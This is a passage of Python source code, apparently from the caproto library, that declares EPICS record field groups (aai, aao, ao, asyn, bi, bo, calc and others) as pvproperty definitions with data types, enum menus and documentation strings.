pvproperty( name="OUTT", dtype=ChannelType.STRING, doc="Output Link T" ) output_link_u = pvproperty( name="OUTU", dtype=ChannelType.STRING, doc="Output Link U" ) old_return_value = pvproperty( name="OVAL", dtype=ChannelType.LONG, doc="Old return value", read_only=True, ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) process_subr_name = pvproperty( name="SNAM", dtype=ChannelType.CHAR, max_length=41, report_as_string=True, doc="Process Subr. Name", ) subroutine_name_link = pvproperty( name="SUBL", dtype=ChannelType.STRING, doc="Subroutine Name Link", read_only=True, ) # subr_return_value = pvproperty(name='VAL', # dtype=ChannelType.LONG, # doc='Subr. return value') link_parent_attribute( display_precision, "precision", ) class AaiFields(RecordFieldGroup): _record_type = "aai" _dtype = None # DTYP of .VAL has_val_field = False copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_aai.get_string_tuple(), doc="Device Type", ) post_archive_monitors = pvproperty( name="APST", dtype=ChannelType.ENUM, enum_strings=menus.aaiPOST.get_string_tuple(), doc="Post Archive Monitors", ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) field_type_of_value = pvproperty( name="FTVL", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Field Type of Value", read_only=True, ) hash_of_onchange_data = pvproperty( name="HASH", dtype=ChannelType.LONG, doc="Hash of OnChange data." ) high_operating_range = pvproperty( name="HOPR", dtype=ChannelType.DOUBLE, doc="High Operating Range" ) input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) low_operating_range = pvproperty( name="LOPR", dtype=ChannelType.DOUBLE, doc="Low Operating Range" ) post_value_monitors = pvproperty( name="MPST", dtype=ChannelType.ENUM, enum_strings=menus.aaiPOST.get_string_tuple(), doc="Post Value Monitors", ) number_of_elements = pvproperty( name="NELM", dtype=ChannelType.LONG, doc="Number of Elements", read_only=True, value=1, ) number_elements_read = pvproperty( name="NORD", dtype=ChannelType.LONG, doc="Number elements read", read_only=True, ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_input_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Input Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) link_parent_attribute( display_precision, "precision", ) link_parent_attribute( high_operating_range, "upper_ctrl_limit", ) link_parent_attribute( low_operating_range, "lower_ctrl_limit", ) link_parent_attribute( number_of_elements, "max_length", use_setattr=True, read_only=True ) class AaoFields(RecordFieldGroup): _record_type = "aao" _dtype = None # DTYP of .VAL has_val_field = False copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_aao.get_string_tuple(), doc="Device Type", ) post_archive_monitors = pvproperty( name="APST", dtype=ChannelType.ENUM, enum_strings=menus.aaoPOST.get_string_tuple(), doc="Post Archive Monitors", ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) field_type_of_value = pvproperty( name="FTVL", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Field Type of Value", read_only=True, ) hash_of_onchange_data = pvproperty( name="HASH", dtype=ChannelType.LONG, doc="Hash of OnChange data." ) high_operating_range = pvproperty( name="HOPR", dtype=ChannelType.DOUBLE, doc="High Operating Range" ) low_operating_range = pvproperty( name="LOPR", dtype=ChannelType.DOUBLE, doc="Low Operating Range" ) post_value_monitors = pvproperty( name="MPST", dtype=ChannelType.ENUM, enum_strings=menus.aaoPOST.get_string_tuple(), doc="Post Value Monitors", ) number_of_elements = pvproperty( name="NELM", dtype=ChannelType.LONG, doc="Number of Elements", read_only=True, value=1, ) number_elements_read = pvproperty( name="NORD", dtype=ChannelType.LONG, doc="Number elements read", read_only=True, ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) output_specification = pvproperty( name="OUT", dtype=ChannelType.STRING, doc="Output Specification" ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_output_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Output Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) link_parent_attribute( display_precision, "precision", ) link_parent_attribute( high_operating_range, "upper_ctrl_limit", ) link_parent_attribute( low_operating_range, "lower_ctrl_limit", ) link_parent_attribute( number_of_elements, "max_length", use_setattr=True, read_only=True ) class AoFields(RecordFieldGroup, _Limits): _record_type = "ao" _dtype = ChannelType.DOUBLE # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup, _Limits) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_ao.get_string_tuple(), doc="Device Type", ) archive_deadband = pvproperty( name="ADEL", dtype=ChannelType.DOUBLE, doc="Archive Deadband" ) last_value_archived = pvproperty( name="ALST", dtype=ChannelType.DOUBLE, doc="Last Value Archived", read_only=True, ) adjustment_offset = pvproperty( name="AOFF", dtype=ChannelType.DOUBLE, doc="Adjustment Offset" ) adjustment_slope = pvproperty( name="ASLO", dtype=ChannelType.DOUBLE, doc="Adjustment Slope" ) desired_output_loc = pvproperty( name="DOL", dtype=ChannelType.STRING, doc="Desired Output Loc" ) drive_high_limit = pvproperty( name="DRVH", dtype=ChannelType.DOUBLE, doc="Drive High Limit" ) drive_low_limit = pvproperty( name="DRVL", dtype=ChannelType.DOUBLE, doc="Drive Low Limit" ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) eng_units_full = pvproperty( name="EGUF", dtype=ChannelType.DOUBLE, doc="Eng Units Full" ) eng_units_low = pvproperty( name="EGUL", dtype=ChannelType.DOUBLE, doc="Eng Units Low" ) egu_to_raw_offset = pvproperty( name="EOFF", dtype=ChannelType.DOUBLE, doc="EGU to Raw Offset" ) egu_to_raw_slope = pvproperty( name="ESLO", dtype=ChannelType.DOUBLE, doc="EGU to Raw Slope", value=1 ) alarm_deadband = pvproperty( name="HYST", dtype=ChannelType.DOUBLE, doc="Alarm Deadband" ) initialized = pvproperty( name="INIT", dtype=ChannelType.INT, doc="Initialized?", read_only=True ) invalid_output_action = pvproperty( name="IVOA", dtype=ChannelType.ENUM, enum_strings=menus.menuIvoa.get_string_tuple(), doc="INVALID output action", ) invalid_output_value = pvproperty( name="IVOV", dtype=ChannelType.DOUBLE, doc="INVALID output value" ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.DOUBLE, doc="Last Value Alarmed", read_only=True, ) lastbreak_point = pvproperty( name="LBRK", dtype=ChannelType.INT, doc="LastBreak Point", read_only=True, ) linearization = pvproperty( name="LINR", dtype=ChannelType.ENUM, enum_strings=menus.menuConvert.get_string_tuple(), doc="Linearization", ) monitor_deadband = pvproperty( name="MDEL", dtype=ChannelType.DOUBLE, doc="Monitor Deadband" ) last_val_monitored = pvproperty( name="MLST", dtype=ChannelType.DOUBLE, doc="Last Val Monitored", read_only=True, ) out_full_incremental = pvproperty( name="OIF", dtype=ChannelType.ENUM, enum_strings=menus.aoOIF.get_string_tuple(), doc="Out Full/Incremental", ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) was_oval_modified = pvproperty( name="OMOD", dtype=ChannelType.CHAR, doc="Was OVAL modified?", read_only=True, ) output_mode_select = pvproperty( name="OMSL", dtype=ChannelType.ENUM, enum_strings=menus.menuOmsl.get_string_tuple(), doc="Output Mode Select", ) previous_raw_value = pvproperty( name="ORAW", dtype=ChannelType.LONG, doc="Previous Raw Value", read_only=True, ) prev_readback_value = pvproperty( name="ORBV", dtype=ChannelType.LONG, doc="Prev Readback Value", read_only=True, ) output_rate_of_change = pvproperty( name="OROC", dtype=ChannelType.DOUBLE, doc="Output Rate of Change" ) output_specification = pvproperty( name="OUT", dtype=ChannelType.STRING, doc="Output Specification" ) output_value = pvproperty( name="OVAL", dtype=ChannelType.DOUBLE, doc="Output Value" ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) previous_value = pvproperty( name="PVAL", dtype=ChannelType.DOUBLE, doc="Previous value", read_only=True, ) readback_value = pvproperty( name="RBV", dtype=ChannelType.LONG, doc="Readback Value", read_only=True ) raw_offset = pvproperty( name="ROFF", dtype=ChannelType.LONG, doc="Raw Offset" ) current_raw_value = pvproperty( name="RVAL", dtype=ChannelType.LONG, doc="Current Raw Value" ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_output_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Output Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) # desired_output = pvproperty(name='VAL', # dtype=ChannelType.DOUBLE, # doc='Desired Output') link_parent_attribute( display_precision, "precision", ) link_parent_attribute(archive_deadband, "log_atol", use_setattr=True) link_parent_attribute(monitor_deadband, "value_atol", use_setattr=True) class AsynFields(RecordFieldGroup): _record_type = "asyn" _dtype = ChannelType.LONG # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_asyn.get_string_tuple(), doc="Device Type", ) addressed_command = pvproperty( name="ACMD", dtype=ChannelType.ENUM, enum_strings=menus.gpibACMD.get_string_tuple(), doc="Addressed command", ) asyn_address = pvproperty( name="ADDR", dtype=ChannelType.LONG, doc="asyn address", value=0 ) input = pvproperty( name="AINP", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Input (response) string", read_only=True, ) output = pvproperty( name="AOUT", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Output (command) string", ) abort_queuerequest = pvproperty( name="AQR", dtype=ChannelType.CHAR, doc="Abort queueRequest" ) autoconnect = pvproperty( name="AUCT", dtype=ChannelType.ENUM, enum_strings=menus.asynAUTOCONNECT.get_string_tuple(), doc="Autoconnect", ) baud_rate = pvproperty( name="BAUD", dtype=ChannelType.ENUM, enum_strings=menus.serialBAUD.get_string_tuple(), doc="Baud rate", ) input_binary_data = pvproperty( name="BINP", dtype=ChannelType.CHAR, doc="Input binary data" ) output_binary_data = pvproperty( name="BOUT", dtype=ChannelType.CHAR, doc="Output binary data" ) connect_disconnect = pvproperty( name="CNCT", dtype=ChannelType.ENUM, enum_strings=menus.asynCONNECT.get_string_tuple(), doc="Connect/Disconnect", ) data_bits = pvproperty( name="DBIT", dtype=ChannelType.ENUM, enum_strings=menus.serialDBIT.get_string_tuple(), doc="Data bits", ) disconnect_on_timeout = pvproperty( name="DRTO", dtype=ChannelType.ENUM, enum_strings=menus.ipDRTO.get_string_tuple(), doc="Disconnect on timeout", ) driver_info_string = pvproperty( name="DRVINFO", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Driver info string", value="", ) enable_disable = pvproperty( name="ENBL", dtype=ChannelType.ENUM, enum_strings=menus.asynENABLE.get_string_tuple(), doc="Enable/Disable", ) eom_reason = pvproperty( name="EOMR", dtype=ChannelType.ENUM, enum_strings=menus.asynEOMREASON.get_string_tuple(), doc="EOM reason", read_only=True, ) asynfloat64_input = pvproperty( name="F64INP", dtype=ChannelType.DOUBLE, doc="asynFloat64 input", read_only=True, ) asynfloat64_is_valid = pvproperty( name="F64IV", dtype=ChannelType.LONG, doc="asynFloat64 is valid" ) asynfloat64_output = pvproperty( name="F64OUT", dtype=ChannelType.DOUBLE, doc="asynFloat64 output" ) flow_control = pvproperty( name="FCTL", dtype=ChannelType.ENUM, enum_strings=menus.serialFCTL.get_string_tuple(), doc="Flow control", ) asyngpib_is_valid = pvproperty( name="GPIBIV", dtype=ChannelType.LONG, doc="asynGPIB is valid" ) host_info = pvproperty( name="HOSTINFO", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="host info", value="", ) asynint32_input = pvproperty( name="I32INP", dtype=ChannelType.LONG, doc="asynInt32 input", read_only=True, ) asynint32_is_valid = pvproperty( name="I32IV", dtype=ChannelType.LONG, doc="asynInt32 is valid" ) asynint32_output = pvproperty( name="I32OUT", dtype=ChannelType.LONG, doc="asynInt32 output" ) input_delimiter = pvproperty( name="IEOS", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Input Delimiter", ) interface = pvproperty( name="IFACE", dtype=ChannelType.ENUM, enum_strings=menus.asynINTERFACE.get_string_tuple(), doc="Interface", ) input_format = pvproperty( name="IFMT", dtype=ChannelType.ENUM, enum_strings=menus.asynFMT.get_string_tuple(), doc="Input format", ) max_size_of_input_array = pvproperty( name="IMAX", dtype=ChannelType.LONG, doc="Max. size of input array", read_only=True, value=80, ) xon_any_character = pvproperty( name="IXANY", dtype=ChannelType.ENUM, enum_strings=menus.serialIX.get_string_tuple(), doc="XON=any character", ) input_xon_xoff = pvproperty( name="IXOFF", dtype=ChannelType.ENUM, enum_strings=menus.serialIX.get_string_tuple(), doc="Input XON/XOFF", ) output_xon_xoff = pvproperty( name="IXON", dtype=ChannelType.ENUM, enum_strings=menus.serialIX.get_string_tuple(), doc="Output XON/XOFF", ) long_baud_rate = pvproperty( name="LBAUD", dtype=ChannelType.LONG, doc="Baud rate" ) modem_control = pvproperty( name="MCTL", dtype=ChannelType.ENUM, enum_strings=menus.serialMCTL.get_string_tuple(), doc="Modem control", ) number_of_bytes_actually_written = pvproperty( name="NAWT", dtype=ChannelType.LONG, doc="Number of bytes actually written", ) number_of_bytes_read = pvproperty( name="NORD", dtype=ChannelType.LONG, doc="Number of bytes read", read_only=True, ) number_of_bytes_to_write = pvproperty( name="NOWT", dtype=ChannelType.LONG, doc="Number of bytes to write", value=80, ) number_of_bytes_to_read = pvproperty( name="NRRD", dtype=ChannelType.LONG, doc="Number of bytes to read" ) asynoctet_is_valid = pvproperty( name="OCTETIV", dtype=ChannelType.LONG, doc="asynOctet is valid" ) output_delimiter = pvproperty( name="OEOS", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Output delimiter", ) output_format = pvproperty( name="OFMT", dtype=ChannelType.ENUM, enum_strings=menus.asynFMT.get_string_tuple(), doc="Output format", ) max_size_of_output_array = pvproperty( name="OMAX", dtype=ChannelType.LONG, doc="Max. size of output array", read_only=True, value=80, ) asynoption_is_valid = pvproperty( name="OPTIONIV", dtype=ChannelType.LONG, doc="asynOption is valid" ) port_connect_disconnect = pvproperty( name="PCNCT", dtype=ChannelType.ENUM, enum_strings=menus.asynCONNECT.get_string_tuple(), doc="Port Connect/Disconnect", ) asyn_port = pvproperty( name="PORT", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="asyn port", value="", ) parity = pvproperty( name="PRTY", dtype=ChannelType.ENUM, enum_strings=menus.serialPRTY.get_string_tuple(), doc="Parity", ) asynuser_reason = pvproperty( name="REASON", dtype=ChannelType.LONG, doc="asynUser->reason" ) stop_bits = pvproperty( name="SBIT", dtype=ChannelType.ENUM, enum_strings=menus.serialSBIT.get_string_tuple(), doc="Stop bits", ) serial_poll_response = pvproperty( name="SPR", dtype=ChannelType.CHAR, doc="Serial poll response", read_only=True, ) trace_error = pvproperty( name="TB0", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace error", ) trace_io_device = pvproperty( name="TB1", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace IO device", ) trace_io_filter = pvproperty( name="TB2", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace IO filter", ) trace_io_driver = pvproperty( name="TB3", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace IO driver", ) trace_flow = pvproperty( name="TB4", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace flow", ) trace_warning = pvproperty( name="TB5", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace warning", ) trace_io_file = pvproperty( name="TFIL", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Trace IO file", ) trace_io_ascii = pvproperty( name="TIB0", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace IO ASCII", ) trace_io_escape = pvproperty( name="TIB1", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace IO escape", ) trace_io_hex = pvproperty( name="TIB2", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace IO hex", ) trace_info_time = pvproperty( name="TINB0", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace Info Time", ) trace_info_port = pvproperty( name="TINB1", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace Info Port", ) trace_info_source = pvproperty( name="TINB2", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace Info Source", ) trace_info_thread = pvproperty( name="TINB3", dtype=ChannelType.ENUM, enum_strings=menus.asynTRACE.get_string_tuple(), doc="Trace Info Thread", ) trace_info_mask = pvproperty( name="TINM", dtype=ChannelType.LONG, doc="Trace Info mask" ) translated_input_string = pvproperty( name="TINP", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Translated input string", read_only=True, ) trace_i_o_mask = pvproperty( name="TIOM", dtype=ChannelType.LONG, doc="Trace I/O mask" ) transaction_mode = pvproperty( name="TMOD", dtype=ChannelType.ENUM, enum_strings=menus.asynTMOD.get_string_tuple(), doc="Transaction mode", ) timeout = pvproperty( name="TMOT", dtype=ChannelType.DOUBLE, doc="Timeout (sec)", value=1.0 ) trace_mask = pvproperty( name="TMSK", dtype=ChannelType.LONG, doc="Trace mask" ) trace_io_truncate_size = pvproperty( name="TSIZ", dtype=ChannelType.LONG, doc="Trace IO truncate size" ) universal_command = pvproperty( name="UCMD", dtype=ChannelType.ENUM, enum_strings=menus.gpibUCMD.get_string_tuple(), doc="Universal command", ) asynuint32digital_input = pvproperty( name="UI32INP", dtype=ChannelType.LONG, doc="asynUInt32Digital input", read_only=True, ) asynuint32digital_is_valid = pvproperty( name="UI32IV", dtype=ChannelType.LONG, doc="asynUInt32Digital is valid" ) asynuint32digital_mask = pvproperty( name="UI32MASK", dtype=ChannelType.LONG, doc="asynUInt32Digital mask", value=4294967295, ) asynuint32digital_output = pvproperty( name="UI32OUT", dtype=ChannelType.LONG, doc="asynUInt32Digital output" ) # value_field = pvproperty(name='VAL', # dtype=ChannelType.LONG, # doc='Value field (unused)') class BiFields(RecordFieldGroup): _record_type = "bi" _dtype = ChannelType.ENUM # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_bi.get_string_tuple(), doc="Device Type", ) change_of_state_svr = pvproperty( name="COSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Change of State Svr", ) input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.INT, doc="Last Value Alarmed", read_only=True, ) hardware_mask = pvproperty( name="MASK", dtype=ChannelType.LONG, doc="Hardware Mask", read_only=True ) last_value_monitored = pvproperty( name="MLST", dtype=ChannelType.INT, doc="Last Value Monitored", read_only=True, ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) one_name = pvproperty( name="ONAM", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="One Name", ) prev_raw_value = pvproperty( name="ORAW", dtype=ChannelType.LONG, doc="prev Raw Value", read_only=True, ) one_error_severity = pvproperty( name="OSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="One Error Severity", ) raw_value = pvproperty(name="RVAL", dtype=ChannelType.LONG, doc="Raw Value") sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_input_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Input Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) simulation_value = pvproperty( name="SVAL", dtype=ChannelType.LONG, doc="Simulation Value" ) zero_name = pvproperty( name="ZNAM", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Zero Name", ) zero_error_severity = pvproperty( name="ZSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Zero Error Severity", ) # current_value = pvproperty(name='VAL', # dtype=ChannelType.ENUM, # doc='Current Value') class BoFields(RecordFieldGroup): _record_type = "bo" _dtype = ChannelType.ENUM # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_bo.get_string_tuple(), doc="Device Type", ) change_of_state_sevr = pvproperty( name="COSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Change of State Sevr", ) desired_output_loc = pvproperty( name="DOL", dtype=ChannelType.STRING, doc="Desired Output Loc" ) seconds_to_hold_high = pvproperty( name="HIGH", dtype=ChannelType.DOUBLE, doc="Seconds to Hold High" ) invalid_outpt_action = pvproperty( name="IVOA", dtype=ChannelType.ENUM, enum_strings=menus.menuIvoa.get_string_tuple(), doc="INVALID outpt action", ) invalid_output_value = pvproperty( name="IVOV", dtype=ChannelType.INT, doc="INVALID output value" ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.INT, doc="Last Value Alarmed", read_only=True, ) hardware_mask = pvproperty( name="MASK", dtype=ChannelType.LONG, doc="Hardware Mask", read_only=True ) last_value_monitored = pvproperty( name="MLST", dtype=ChannelType.INT, doc="Last Value Monitored", read_only=True, ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) output_mode_select = pvproperty( name="OMSL", dtype=ChannelType.ENUM, enum_strings=menus.menuOmsl.get_string_tuple(), doc="Output Mode Select", ) one_name = pvproperty( name="ONAM", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="One Name", ) prev_raw_value = pvproperty( name="ORAW", dtype=ChannelType.LONG, doc="prev Raw Value", read_only=True, ) prev_readback_value = pvproperty( name="ORBV", dtype=ChannelType.LONG, doc="Prev Readback Value", read_only=True, ) one_error_severity = pvproperty( name="OSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="One Error Severity", ) output_specification = pvproperty( name="OUT", dtype=ChannelType.STRING, doc="Output Specification" ) readback_value = pvproperty( name="RBV", dtype=ChannelType.LONG, doc="Readback Value", read_only=True ) raw_value = pvproperty(name="RVAL", dtype=ChannelType.LONG, doc="Raw Value") sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_output_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Output Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) zero_name = pvproperty( name="ZNAM", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Zero Name", ) zero_error_severity = pvproperty( name="ZSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Zero Error Severity", ) # current_value = pvproperty(name='VAL', # dtype=ChannelType.ENUM, # doc='Current Value') class CalcFields(RecordFieldGroup, _Limits): _record_type = "calc" _dtype = ChannelType.DOUBLE # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup, _Limits) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_calc.get_string_tuple(), doc="Device Type", ) value_of_input_a = pvproperty( name="A", dtype=ChannelType.DOUBLE, doc="Value of Input A" ) archive_deadband = pvproperty( name="ADEL", dtype=ChannelType.DOUBLE, doc="Archive Deadband" ) alarm_filter_time_constant = pvproperty( name="AFTC", dtype=ChannelType.DOUBLE, doc="Alarm Filter Time Constant" ) alarm_filter_value = pvproperty( name="AFVL", dtype=ChannelType.DOUBLE, doc="Alarm Filter Value", read_only=True, ) last_value_archived = pvproperty( name="ALST", dtype=ChannelType.DOUBLE, doc="Last Value Archived", read_only=True, ) value_of_input_b = pvproperty( name="B", dtype=ChannelType.DOUBLE, doc="Value of Input B" ) value_of_input_c = pvproperty( name="C", dtype=ChannelType.DOUBLE, doc="Value of Input C" ) calculation = pvproperty( name="CALC", dtype=ChannelType.CHAR, max_length=80, report_as_string=True, doc="Calculation", value=chr(0), ) value_of_input_d = pvproperty( name="D", dtype=ChannelType.DOUBLE, doc="Value of Input D" ) value_of_input_e = pvproperty( name="E", dtype=ChannelType.DOUBLE, doc="Value of Input E" ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) value_of_input_f = pvproperty( name="F", dtype=ChannelType.DOUBLE, doc="Value of Input F" ) value_of_input_g = pvproperty( name="G", dtype=ChannelType.DOUBLE, doc="Value of Input G" ) value_of_input_h = pvproperty( name="H", dtype=ChannelType.DOUBLE, doc="Value of Input H" ) alarm_deadband = pvproperty( name="HYST", dtype=ChannelType.DOUBLE, doc="Alarm Deadband" ) value_of_input_i = pvproperty( name="I", dtype=ChannelType.DOUBLE, doc="Value of Input I" ) input_a = pvproperty(name="INPA", dtype=ChannelType.STRING, doc="Input A") input_b = pvproperty(name="INPB", dtype=ChannelType.STRING, doc="Input B") input_c = pvproperty(name="INPC", dtype=ChannelType.STRING, doc="Input C") input_d = pvproperty(name="INPD", dtype=ChannelType.STRING, doc="Input D") input_e = pvproperty(name="INPE", dtype=ChannelType.STRING, doc="Input E") input_f = pvproperty(name="INPF", dtype=ChannelType.STRING, doc="Input F") input_g = pvproperty(name="INPG", dtype=ChannelType.STRING, doc="Input G") input_h = pvproperty(name="INPH", dtype=ChannelType.STRING, doc="Input H") input_i = pvproperty(name="INPI", dtype=ChannelType.STRING, doc="Input I") input_j = pvproperty(name="INPJ", dtype=ChannelType.STRING, doc="Input J") input_k = pvproperty(name="INPK", dtype=ChannelType.STRING, doc="Input K") 